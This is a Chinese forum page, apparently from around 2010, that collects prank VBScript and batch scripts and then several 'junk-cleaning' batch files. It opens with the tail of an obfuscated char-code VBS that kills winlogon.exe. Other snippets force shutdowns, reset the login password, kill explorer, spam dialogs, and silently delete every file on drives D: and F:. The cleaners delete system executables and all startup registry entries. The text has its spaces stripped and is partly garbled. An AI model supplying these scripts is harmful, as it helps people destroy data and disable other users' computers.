01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,



46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,



116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1



03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101



,110,100,32,105,102,13,10,13,10,13,10)

fori=1toUBound(strs)

????????runner=runner&chr(strs(i))

next

Executerunner

---------------------------------------------------------------------

掉qq:

taskkill/imqq.exe/f/t

---------------------------------------------------------------------

10秒强制关机(任务管理器无效):

shutdown-s-t10

---------------------------------------------------------------------

死机:

startcmd

0%

---------------------------------------------------------------------

设置登录密码为2010:

netuser"%username%"2010

---------------------------------------------------------------------

让电脑只剩一个背景

taskkill/im/f/texplorer.exe

---------------------------------------------------------------------

莫名其妙结束当前程序:

setws=createobject("wscript.shell")

do

ws.sendkeys"%{f4}"

loop

---------------------------------------------------------------------

不断提示你是猪:

do

msgbox("你是猪")

loop

---------------------------------------------------------------------

onerrorresumenext

dimWSHshellA

setWSHshellA=wscript.createobject("wscript.shell")

WSHshellA.run"cmd.exe/cshutdown-r-t60-c""说??我是大笨笨!哈哈,不说我就一分钟关你机,不信,试试···我说到做到!""",0,true

dima

dowhile(a<>"我是大笨蛋!哈哈!我是大肥猪!")

a=inputbox("说??我是大笨蛋!哈哈!我是大肥猪!,我就不关你的机,快撒,说""我是大笨笨!哈哈""","说不说","不说",8000,7000)

msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"

loop

msgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛??猪"

dimWSHshell

setWSHshell=wscript.createobject("wscript.shell")

WSHshell.run"cmd.exe/cshutdown-a",0,true

msgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈,真过瘾嘎嘎.爽歪歪啊"

---------------------------------------------------------------------

“我是畜生”:

onerrorresumenext

dimWSHshellA

setWSHshellA=wscript.createobject("wscript.shell")

WSHshellA.run"cmd.exe/cshutdown-r-t25-c""说我是畜生,不说就20秒关你机,不信,试试···""",0,true??

dima

dowhile(a<>"我是畜生")

a=inputbox("说我是畜生,就不关机,快撒,说""我是畜生""","说不说","不说",8000,7000)

msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"

loop

msgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛"

dimWSHshell

setWSHshell=wscript.createobject("wscript.shell")

WSHshell.run"cmd.exe/cshutdown-a",0,true??

msgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈,真过瘾"

---------------------------------------------------------------------

10秒关机:

onerrorresumenext

dimWSHshellA

setWSHshellA=wscript.createobject("wscript.shell")

WSHshellA.run"cmd.exe/cshutdown-r-t10-c""你被耍了""",0,true

---------------------------------------------------------------------

刷对话框:

do

msgbox("你被耍了")

loop

---------------------------------------------------------------------

直接关机:

onerrorresumenext

dimWSHshellA

setWSHshellA=wscript.createobject("wscript.shell")

WSHshellA.run"cmd.exe/cshutdown-s",0,true

---------------------------------------------------------------------一分钟弹出一次:

dountili=10

i=i+1

msgbox"CPU温度过高,系统出现严重误!",16+4096,"系统提示"

wscript.sleep100060''时间可以自己改

loop

---------------------------------------------------------------------

functionhr(){

alert(''你关不掉的^_^'')

hr();

}







---------------------------------------------------------------------dowhile(1)

msgbox"你死定了!"

loop

还有更多的!:

---------------------------------------------------------------------

删除F:\所有文件

dimWSHshell

setWSHshell=wscript.createobject("wscript.shell")

WSHshell.run"cmd/c""delf:\./f/q/s""",0,true

---------------------------------------------------------------------

不断按下alt+f4(开什么都关闭……):

dimWSHshell

setWSHshell=wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys"%{F4}"

loop

---------------------------------------------------------------------



注意:分割线之间为一个代码,复制进TXT文档,另存为.vbs或.vbe,望楼主采纳!!!??Q群:108141490????--村长

上面是第[1]个回答,答案提供时间是:(2010-9-812:27)

sh=msgbox("已经准备好格式化,准备开始。",vbyesno)

sets=createobject("wscript.shell")

wscript.sleep1000

msgbox"开始格式化……哈哈!吓晕了吧,骗你的~"

wscript.sleep1000

wscript.sleep1000100

msgbox"windows发现一重要更新,将自动下载。"

wscript.sleep3000

msgbox"系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描?",vbyesno

wscript.sleep1000

msgbox"文件名SXS.exe"+CHR(13)+"发行者田间的菜鸟"+chr(13)+"安全评级高危"+chr(13)+"建议直接删除"+chr(13)+"病毒类型:木马",,"windows扫描附件"

msgbox"是否阻止其安装?",vbyesno

wscript.sleep3000

msgbox"阻止失败!请检查防火墙是否开启!"

wscript.sleep5000

msgbox"正在尝试强行删除…"

wscript.sleep5000

msgbox"失败!"

wscript.sleep5000

msgbox"您的电脑已陷入危险之中,请赶快扫描病毒!"

wscript.sleep10000

s.sendkeys"%n"

s.run"taskkill/imQQ.exe"

s.sendkeys"%n"

s.run"taskkill/imexplorer.exe/f"

s.sendkeys"%n"

s.sendkeys"%n"

s.sendkeys"%n"

s.sendkeys"%n"

s.sendkeys"%n"

s.sendkeys"%n"

s.sendkeys"%n"

msgbox"你好啊!"

wscript.sleep3000

msgbox"很高兴见到你!"

wscript.sleep3000

msgbox"您的电脑可能已经感染病毒!",,"WINDOWS防火墙警告"

wscript.sleep3000

msgbox"我控制你的电脑了!"

wscript.sleep3000

msgbox"不信?那我给你关机看看~"

s.run"shutdown-r-t120"

msgbox"信了吧!"

msgbox"帮你解除关机……"

s.run"shutdown-a"

msgbox"再给你打开记事本写封信,劝你最好别动,要不然会引起系统混乱~"

s.run"notepad"

wscript.sleep3000

s.sendkeys"Hello,I''msorryIcontrolyourcomputer,"

wscript.sleep3000

s.sendkeys"butthevirusisfalsein,"

wscript.sleep3000

s.sendkeys"onlyajoke,"

wscript.sleep3000

s.sendkeys"pleaserestassured!"

wscript.sleep3000

s.sendkeys"Inolongernext"

wscript.sleep3000

s.sendkeys"timesothewholeyou!"

wscript.sleep3000

s.sendkeys"Goodbye!"

s.sendkeys"{enter}"

s.sendkeys"END"

wscript.sleep1000

s.sendkeys"%{F4}"

msgbox"提示:刚才的“病毒”是假的,只不过是吓你玩玩~"

s.run"explorer"

这个既不会关机,也不会对电脑有害。可以吓吓人

复制以上代码保存为bat文件。。。???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd/c""deld:\./f/q/s""",0,true??????????????????????????????????????????????????????????????????????????????????????????????????????????????????复制多个WSHshell.run"cmd/c""deld:\./f/q/s""",0,true可以删多个磁盘

强的有点儿BT的清理垃圾文件批处理

?

因为觉得原文件有些地方不大好,所以做了一些变动。变动如下:1.原版有更改主页的选项,我给它去掉了。将最后选择访问某网站改为了我的Blog地址--!2.原版要删除最后一次正确配置的文件,我去掉了此选项。3.原版要删除系统自带的还原功能的还原点文件,我去掉了此选项。4.原版还要删除所有根目录的desktop.ini和虚拟内存,有待商榷...5.原版要删除inf文件夹里面的东西,不过是.pnf不是所有文件,开始吓了我一跳...要是都删除了,以后U盘等等东西就都用不了了,因为驱动没了。6.在字体颜色和背景颜色变了一下,也增加了颜色选项注明,大家依个人喜好自己改吧。7.如果觉得文件不错,以后再用的时候不想每次都点按任意键继续,把前面的Pause>nul删除就可以了。把蓝色字复制到记事本里面,然后另存为Clean.bat就可以了,以后清理垃圾就直接双击。如果不会复制--!,后面有纳米盘的下载连接。===================@echooffECHO.标题title=有点儿Bt的系统垃圾清批处理,可在PE下使用...echo.设置字体颜色为亮绿色,背景为蓝色。color9a0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白-----------AddbyL.M.Zhangecho.下面是可用的变量SetProgFile=c:\ProgramFilesSetCurUser=c:\DocumentsandSettings\AdministratorSetAllUser=c:\DocumentsandSettings\AllUserssettm1=%time:~0,2%settm2=%time:~3,2%settm3=%time:~6,2%ECHO.清屏CLS.ECHO.ECHO.echo.欢迎使用系统垃圾清批处理(支持PE下使用)ECHO.ECHO.ECHO.ECHO.╭════════════════════╮ECHO.‖★危险系数声明★????????????????????????‖ECHO.‖因本脚本会清理回收站里面的内容,所以请‖ECHO.‖在使用前仔细查看回收站内是否误删除的文‖ECHO.‖件。如被删除本人概不负责。特此警告~!??‖ECHO.╰════════════════════╯ECHO.╭════════════════════╮ECHO.‖ECHO.╰════════════════════╯ECHO.╭════════════════════╮ECHO.‖ECHO.╰════════════════════╯ECHO.ECHO.ECHO.echo.按任意键开始清理系统垃圾ECHO.echo.等待操作...pause>nultitle=正在禁用文件保护...regadd"HKCU\Software\Microsoft\Windows\CurrentVersion\InternetSettings"/vMaxConnectionsPer1_0Server/tREG_DWORD/d8/fregadd"HKCU\Software\Microsoft\Windows\CurrentVersion\InternetSettings"/vMaxConnectionsPerServer/tREG_DWORD/d8/ftitle=正在清理开始菜单下的无用衔接...Del/a/f/s/q"%CurUser%\「开始」菜单\程序\OutlookExpress.lnkDel/a/f/s/q"%CurUser%\「开始」菜单\程序\附件\程序兼容性向导.url"Del/a/f/s/q"%CurUser%\「开始」菜单\程序\附件\漫游WindowsXP.lnk"title=正在删除造字程序...Del/a/f/s/q"%CurUser%\「开始」菜单\程序\附件\TrueType造字程序.lnk"Del/a/f/s/q"c:\windows\system32\eudcedit.exe"title=正在清理Cookies文件...Del/a/f/s/q"%CurUser%\Cookies\."title=正在清理图表缓存文件...Del/a/f/s/q"%CurUser%\LocalSettings\ApplicationData\IconCache.db"title=正在清理历史纪录...Del/a/f/s/q"%CurUser%\LocalSettings\History\."title=正在清理管理员账户下的无用快捷方式...Del/a/f/s/q"%CurUser%\MyDocuments\MyPictures\示例图片.lnk"Del/a/f/s/q"%CurUser%\MyDocuments\MyMusic\示例音乐.lnk"title=正在清理访问过的网络邻居快捷方式...Del/a/f/s/q"%CurUser%\NetHood\."title=正在清理未完成的打印任务...Rd/s/q"%CurUser%\PrintHood"title=正在清理最近打开的文档...Rd/s/q"%CurUser%\Recent"title=正在清理收藏夹内的垃圾衔接...Del/a/f/s/q"%CurUser%\Favorites\MSN.com.url"Del/a/f/s/q"%CurUser%\Favorites\电台指南.url"Del/a/f/s/q"%CurUser%\Favorites\链接\Windows.url"Del/a/f/s/q"%CurUser%\Favorites\链接\WindowsMedia.url"Del/a/f/s/q"%CurUser%\Favorites\链接\免费Hotmail.url"Del/a/f/s/q"%CurUser%\Favorites\链接\自定义链接.url"title=正在清理所有账户开式菜单下的无用快捷方式...Del/a/f/s/q"%AllUser%\「开始」菜单\WindowsCatalog.url"Del/a/f/s/q"%AllUser%\「开始」菜单\WindowsUpdate.lnk"Del/a/f/s/qc:\windows\system32\wupdmgr.exe"Del/a/f/s/q"%AllUser%\「开始」菜单\设定程序访问和默认值.lnk"Del/a/f/s/qc:\windows\system32\control.exetitle=正在清理示例图片...Rd/s/q"%AllUser%\Documents\MyPictures\示例图片"title=正在清理示例音乐...Del/a/f/s/q"%AllUser%\Documents\MyMusic\示例音乐\Beethoven''sSymphonyNo.9(Scherzo).wma"Del/a/f/s/q"%AllUser%\Documents\MyMusic\示例音乐\NewStories(HighwayBlues).wma"title=正在清理系统补丁卸载文件...Rd/s/q"C:\WINDOWS\$$"For/f"delims=\"%%iin(''dir"c:\WINDOWS\$$"/adh/b'')doRd/s/q"c:\WINDOWS\%%i"title=正在清理系统带得不好看的鼠标指针...Del/a/f/s/q"c:\WINDOWS\Cursors\."title=正在清理系统补丁生成的系统驱动备份...Del/a/f/s/q"c:\windows\DriverCache\i386\ntkrnlmp.exe"Del/a/f/s/q"c:\windows\DriverCache\i386\ntkrnlpa.exe"Del/a/f/s/q"c:\windows\DriverCache\i386\ntkrpamp.exe"Del/a/f/s/q"c:\windows\DriverCache\i386\ntoskrnl.exe"title=正在清理下载程序文件夹...Del/a/f/s/q"c:\WINDOWS\DownloadedProgramFiles\."DEL/F/Q/A-R-H-S-AC:\WINDOWS\system32\dllcache\SVOHOST.EXEDEL/F/Q/A-R-H-S-AC:\WINDOWS\system32\dllcache\WINSCOK.DLL@echo::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::@echo::删除每个分区下的SXS.EXE和AUTORUN.文件,请稍侯...@echo::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::FOR%%aIN(C:D:E:F:G:H:I:J:K:L:M:N:O:P:Q:R:S:T:U:V:W:X:Y:Z:)DOATTRIB-R-H-S-A%%a\SXS.EXE&DEL/F/Q/A-R-H-S-A%%a\SXS.EXE&ATTRIB-R-H-S-A%%a\AUTORUN.&DEL/F/Q/A-R-H-S-A%%a\AUTORUN.@echo::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::@echo::删除注册表中自启动项,请稍侯...@echo::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::ECHOWindowsRegistryEditorVersion5.00>SoundMam.regECHO[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SoundMam]>>SoundMam.regECHO[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>SoundMam.regECHO"SoundMam"=->>SoundMam.regREGEDIT/SSoundMam.regDEL/F/QSoundMam.regREGEDIT/SSHOWALL.regDEL/F/QSHOWALL.regtitle=正在清除“下载器”病毒,请稍等......Del/a/f/s/qc:\windows\system32\realplayer.exeDel/a/f/s/qc:\windows\system32\brlmon.dllDel/a/f/s/qc:\windows\system32\ravmon.dllregdelete"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"/vRealplayer.exe/fregdelete"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"/vRealplayer.exe/fregdelete"HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftNT"/fregdelete"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RunDown"/ftitle=正在清理清理所有多余的启动项目...regdeleteHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run/va/fregdeleteHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run/va/fregaddHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run/vctfmon.exe/dC:\WINDOWS\system32\ctfmon.exeregdelete"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg"/fregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\IMJPMIG8.1"regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\IMJPMIG8.1"/vcommand/d""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE"/Spoil/RemAdvDef/Migration32"regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\IMJPMIG8.1"/vhkey/dHKLMregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\IMJPMIG8.1"/vinimapping/d0regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\IMJPMIG8.1"/vitem/dIMJPMIGregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\IMJPMIG8.1"/vkey/dSOFTWARE\Microsoft\Windows\CurrentVersion\Runregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002A"regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002A"/vcommand/d"C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE/IMEName"regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002A"/vhkey/dHKLMregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002A"/vinimapping/d0regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002A"/vitem/dTINTSETPregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002A"/vkey/dSOFTWARE\Microsoft\Windows\CurrentVersion\Runregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002ASync"regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002ASync"/vcommand/d""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE"/Spoil/RemAdvDef/Migration32"regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002ASync"/vhkey/dHKLMregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002ASync"/vinimapping/d0regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002ASync"/vitem/dTINTSETPregadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\PHIME2002ASync"/vkey/dSOFTWARE\Microsoft\Windows\CurrentVersion\RunDel/a/f/s/q"%AllUser%\「开始」菜单\程序\启动\."/q/fDel/a/f/s/q"%CurUser%\「开始」菜单\程序\启动\."/q/fDel/a/f/s/q"%userprofile%\「开始」菜单\程序\启动\."/q/fDel"C:\DocumentsandSettings\DefaultUser\「开始」菜单\程序\启动\."/q/ftitle=正在清理清理注册表最后一次访问位置...regadd"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit"/v"LastKey"/t"REG_SZ"/d"我的电脑"/fclstitle=正在清理清理注册表中的程序运行记录...regdelete"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"/fregadd"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"/ftitle=正在清理临时文件夹...Del/a/f/s/q"%CurUser%\LocalSettings\Temp\."Del/a/f/s/q"%CurUser%\LocalSettings\TemporaryInternetFiles\."Del/a/f/s/q"%userprofile%\LocalSettings\Temp\."Del/a/f/s/q"%userprofile%\TemporaryInternetFiles\."Del/a/f/s/q"%AllUser%\Templates\."Del/a/f/s/q"c:\WINDOWS\temp\."title=正在清理其它系统垃圾Del/a/f/s/q"c:\.tmp"Del/a/f/s/q"c:\._mp"Del/a/f/s/q"c:\.log"Del/a/f/s/q"c:\.gid"Del/a/f/s/q"c:\.chk"Del/a/f/s/q"c:\.old"Del/a/f/s/q"c:\windows\.bak"Rd/s/q"c:\WINDOWS\assemblydel/f/s/q"c:\WINDOWS\SoftwareDistribution\Download\.del/f/s/qC:\WINDOWS\system32\spool\drivers\w32x86\3\.del/f/s/qC:\WINDOWS\system32\.tmpdel/f/s/qC:\WINDOWS\system32\._mpdel/f/s/qC:\WINDOWS\system32\.logdel/f/s/qC:\WINDOWS\system32\.giddel/f/s/qC:\WINDOWS\system32\.chkdel/f/s/qC:\WINDOWS\system32\.olddel/f/s/qC:\WINDOWS\system32%\recycled\.ECHO.=====以下内容是一些常见软件目录清理内容====title=正在清理360安全卫士系统补丁目录...Rd/s/q"%ProgFile%\360Safe\hotfix"title=正在清理极点五笔目录...Rd/s/q"%CurUser%\「开始」菜单\程序\freeime"Del/a/f/s/q"%ProgFile%\freeime\freeime.htm"Del/a/f/s/q"%ProgFile%\freeime\极点五笔纪念版.url"Del/a/f/s/q"%ProgFile%\freeime\.gif"Del/a/f/s/q"%ProgFile%\freeime\.txt"Rd/s/q"%ProgFile%\freeime\skin\Apple_Z"Rd/s/q"%ProgFile%\freeime\skin\bear2"Rd/s/q"%ProgFile%\freeime\skin\Elegant"Rd/s/q"%ProgFile%\freeime\skin\IF_Taiji"Rd/s/q"%ProgFile%\freeime\skin\time"Rd/s/q"%ProgFile%\freeime\skin\du"Rd/s/q"%ProgFile%\freeime\skin\huan"Rd/s/q"%ProgFile%\freeime\skin\TangoNightXP"Rd/s/q"%ProgFile%\freeime\skin\youxihou"Rd/s/q"%ProgFile%\freeime\skin\blueness"Rd/s/q"%ProgFile%\freeime\skin\HelloKitty"Rd/s/q"%ProgFile%\freeime\skin\MG_S"Rd/s/q"%ProgFile%\freeime\skin\VistaHeiMini"title=正在清理WINRAR目录...Del/a/f/q"%ProgFile%\WinRAR\.diz"Del/a/f/q"%ProgFile%\WinRAR\.txt"Del/a/f/q"%ProgFile%\WinRAR\.chm"Del/a/f/q"%ProgFile%\WinRAR\.htm"title=正在清理暴风影音目录...Del/a/f/s/q"%ProgFile%\RingzStudio\StormCodec\.txtDel/a/f/s/q"%ProgFile%\RingzStudio\StormCodec\.iniDel/a/f/s/q"%ProgFile%\RingzStudio\StormCodec\.datDel/a/f/s/q"%ProgFile%\RingzStudio\StormCodec\GSpot.exeDel/a/f/s/q"%ProgFile%\RingzStudio\StormCodec\StormSet.exeDel/a/f/s/q"%ProgFile%\RingzStudio\StormCodec\Codecs\languages\ffdshow.1033.enRd/s/q"%AllUser%\ApplicationData\Storm\UpdateRd/s/q"%AllUser%\「开始」菜单\程序\暴风影音Rd/s/q"%ProgFile%\RingzStudio\StormCodec\QTSystem\CoreVideo.Resources\en.lprojRd/s/q"%ProgFile%\RingzStudio\StormCodec\QTSystem\QuickTime3GPP.Resources\en.lprojRd/s/q"%ProgFile%\RingzStudio\StormCodec\QTSystem\QuickTime.Resources\en.lprojRd/s/q"%ProgFile%\RingzStudio\StormCodec\QTSystem\QuickTimeAudioSupport.Resources\en.lprojRd/s/q"%ProgFile%\RingzStudio\StormCodec\QTSystem\QuickTimeEssentials.Resources\en.lprojRd/s/q"%ProgFile%\RingzStudio\StormCodec\QTSystem\QuickTimeH264.Resources\en.lprojRd/s/q"%ProgFile%\RingzStudio\StormCodec\QTSystem\QuickTimeInternetExtras.Resources\en.lprojRd/s/q"%ProgFile%\RingzStudio\StormCodec\QTSystem\QuickTimeMPEG4.Resources\en.lprojRd/s/q"%ProgFile%\RingzStudio\StormCodec\QTSystem\QuickTimeStreaming.Resources\en.lprojRd/s/q"%ProgFile%\RingzStudio\StormCodec\QTSystem\QuickTimeStreamingExtras.Resources\en.lprojRd/s/q"%ProgFile%\RingzStudio\StormCodec\QTSystem\QuickTimeVR.Resources\en.lprojRd/s/q"%ProgFile%\RingzStudio\StormCodec\QTSystem\QuickTimeWebHelper.Resources\en.lprojtitle=正在清理RealPlayer目录...Del/a/f/q"%ProgFile%\Real\RealPlayer\Setup\setup.exe"Del/a/f/q"%ProgFile%\Real\RealPlayer\.chmDel/a/f/q"%ProgFile%\Real\RealPlayer\.txtDel/a/f/q"%ProgFile%\Real\RealPlayer\.htmltitle=正在清理迅雷目录...Del/a/f/s/q"%ProgFile%\ThunderNetwork\Thunder\Program\Update\."title=正在清理清理ACDSee目录...Rd/s/q"%CurUser%\ApplicationData\ACDSystemsDel/a/f/s/q"%ProgFile%\ACDSee\.hlp"Del/a/f/s/q"%ProgFile%\ACDSee\.cnt"Del/a/f/s/q"%ProgFile%\ACDSee\PlugIns\.hlpDel/a/f/s/q"%ProgFile%\ACDSee\PlugIns\.chmtitle=正在清理清理超级兔子注册表备份...Rd/s/q"c:\WINDOWS\MAGICSET"ECHO.=====以上内容是一些常见软件目录清理内容====ECHO.清屏CLS.ECHO.title=系统垃圾清理完成于:%date%%tm1%点%TM2%分%TM3%秒o(∩_∩)o...ECHO.ECHO.echo.系统垃圾清批处理(支持PE下使用)ECHO.ECHO.╭════════════════════╮ECHO.‖??????????????????????????ECHO.‖★感谢使用★ECHO.‖????ECHO.╰════════════════════╯ECHO.╭════════════════════╮ECHO.‖ECHO.╰════════════════════╯ECHO.╭════════════════════╮ECHO.‖ECHO.╰════════════════════╯ECHO.echo.按【Q】键退出脚本.echo.按【G】键到ksctive的Blog做客echo.:chosetchoice=set/pchoice=请敲击相关按键,敲击回车后执行IFNOT"%Choice%"==""SETChoice=%Choice:~0,1%if/i"%choice%"=="Q"gotoEXITif/i"%choice%"=="G"gotoksctiveecho选择无效,请重新输入pause>nulgotoksctive:ksctivetitle=跳转到ksctive的Blogstarthttp://hi.baidu.com/ksctivetitle=退出脚本...gotoEXIT:EXITtitle=脚本退出成功...exit

电脑垃圾自动清除及删除windows默认共享盘符(bat批处理做到) ?

Windows在默认情况下几个盘多是共享的,它们是隐藏的危险。在dos下用命令“netshare”可以查看。。。不能截图,就只能打打字了@echooff?echo正在自动删除admin$管理共享和ipc$管道共享,netshareadmin$/delnetshareIPC$/delnetshareC$/delnetshareD$/delnetshareE$/delnetshareF$/del

@echooff并不是DOS程序中的,而是DOS批处理中的。当年的DOS,所有操作都用键盘命令来完成,当你每次都要输入相同的命令时,可以把这么多命令存为一个批处理。上面那段是默认admin$管理共享和ipc$管道共享的命令如果那没有这么多盘符,可以照上面的“netshere?$”/del’??是你的盘符号。进行增减

?

@echooffecho??这是正在检查cookies、历史纪录等目录位置(当前用户)……regquery"HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders"/vCache>%temp%\cleantmp.txtregquery"HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders"/vCookies>>%temp%\cleantmp.txtregquery"HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders"/vHistory>>%temp%\cleantmp.txtregquery"HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders"/vNetHood>>%temp%\cleantmp.txtregquery"HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders"/vRecent>>%temp%\cleantmp.txt

echo?这里是清理当前用户的Cookies,IE缓存,历史纪录等……for/f"tokens=3"%%iin(%temp%\cleantmp.txt)do(for/d%%iin("%%i%%b\.")dord/q/s"%%i">Nul2>Nuldel/a/f/s/q"%%i%%b\.">Nul2>Nul)

echo?这里清理系统临时垃圾文件……del/a/f/s/q"%userprofile%\Locals~1\Tempor~1\.">Nul2>Nuldel/a/f/s/q"%userprofile%\Locals~1\Temp\.">Nul2>Nuldel/a/f/s/q"%userprofile%\cookies\.">Nul2>Nuldel/a/f/s/q"%userprofile%\recent\.">Nul2>Nuldel/a/f/s/q"%Temp%\.">Nul2>Nuldel/a/f/s/q"%Tmp%\.">Nul2>Nuldel/a/f/s/q"%HomePath%\..\IconCache.db">Nul2>Nuldel/a/f/s/q"%SystemDrive%\driver?\.pnf">Nul2>Nuldel/a/f/s/q"%SystemDrive%\driver?\InfCache.1">Nul2>Nuldel/a/f/s/q"%SystemRoot%\._mp">Nul2>Nuldel/a/f/s/q"%SystemRoot%\.bak">Nul2>Nuldel/a/f/s/q"%SystemRoot%\kb.log">Nul2>Nuldel/a/f/s/q"%SystemRoot%\.dmp">Nul2>Nuldel/a/f/s/q"%SystemRoot%\.gid">Nul2>Nuldel/a/f/s/q"%SystemRoot%\.old">Nul2>Nuldel/a/f/s/q"%SystemRoot%\.query">Nul2>Nuldel/a/f/s/q"%SystemRoot%\.tmp">Nul2>Nuldel/a/f/s/q"%SystemRoot%\inf\InfCache.1">Nul2>Nuldel/a/f/s/q"%SystemRoot%\driver?\.pnf">Nul2>Nuldel/a/f/s/q"%SystemRoot%\driver?\InfCache.1">Nul2>Nuldel/a/f/s/q"%SystemRoot%\inf\.pnf">Nul2>Nuldel/a/f/s/q"%SystemRoot%\minidump\.">Nul2>Nuldel/a/f/s/q"%SystemRoot%\Prefetch\.">Nul2>Nulfor%%iin(cdefghijklmnopqrstuvwxyz)dodel/a/f/q%%i:\autorun.inf%%i:\.exe&rd/q/s%%i:\recycler%%i:\recycledrd/q/s"%ProgramFiles%\InstallShieldInstallationInformation">Nul2>Nulrd/q/s"%systemdrive%\DocumentsandSettings\AllUsers\Documents\MyBoBoTurbo">Nul2>Nulrd/q/s"%systemroot%\ConnectionWizard">Nul2>Nulrd/q/s"%systemroot%\DownloadedInstallations">Nul2>Nulrd/q/s"%SystemRoot%\Help">Nul2>Nulrd/q/s"%systemroot%\ie7updates"&md"%systemroot%\ie7updates">Nul2>Nulrd/q/s"%SystemRoot%\OfflineWebPages">Nul2>Nulrd/q/s%SystemRoot%\system32\ooberd/q/s"%SystemRoot%\system32\ReinstallBackups">Nul2>Nulrd/q/s"%SystemRoot%\SoftwareDistribution\Download"&md"%SystemRoot%\SoftwareDistribution\Download">Nul2>Nulrd/q/s"%SystemRoot%\SoftwareDistribution\datastore"&md"%SystemRoot%\SoftwareDistribution\datastore">Nul2>Nulrd/q/s"%SystemRoot%\SoftwareDistribution\EventCache"&md"%SystemRoot%\SoftwareDistribution\EventCache">Nul2>Nulrd/q/s"%SystemRoot%\temp"&md"%SystemRoot%\temp">Nul2>Nul

echo这里是清理无用的磁盘检错文件……del/a/f/q"%SystemDrive%\.chk">Nul2>Nuldir%SystemDrive%\found.???/ad/b>c:\临时垃圾.txtfor/f%%iin(c:\临时垃圾.txt)dord/q/s"%SystemDrive%\%%i">Nul2>Nul

echo这里清理系统升级补丁留下来的反安装目录……dir%SystemRoot%\$$/ad/b>c:\临时垃圾.txtfor/f%%iin(c:\临时垃圾.txt)dord/q/s"%SystemRoot%\%%i">Nul2>Nul

echo这里是清除常见的软件垃圾项目……Ren"%ProgramFiles%\Common~1\Real\Update_OB\realsched.exe"realsched.ex_>Nul2>Nul

强制删除的批处理文件

?

